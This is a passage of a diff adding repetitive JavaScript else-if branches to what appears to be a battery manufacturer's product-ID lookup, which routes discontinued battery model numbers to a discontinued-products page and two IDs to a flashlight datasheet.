+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8748"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8948"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7048"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7448"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3010s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3212"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e3"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e89"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e126"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e146x"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e152"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e163"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e165"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e169"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e177"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e235n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e236n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e286"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e289"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e340e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e450"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e502"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e601"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e630"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302157"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302358"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302435"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302462"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302465"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302478"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302642"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302651"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302702"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302905"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302908"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303145"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303236"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303394"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303996"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6ft"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6st"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en1a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en132a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en133a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en134a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en135a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en136a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en164a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en165a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en175a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en177a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en640a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep175"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx13"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx14"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx23"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx25"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx27"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx29"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx30"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx675"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx825"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90hp"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="fcc2"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs95"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6571"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="if6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2321m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2322"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2326m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7307"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7507"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="qcc4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s76e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="t50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="w353"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="3251"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
+ else if(IDText.value=="4212"){
+ //Checks for id entry
+ res="../datasheets/flashlights/eveready.htm"
+ return true
+ }
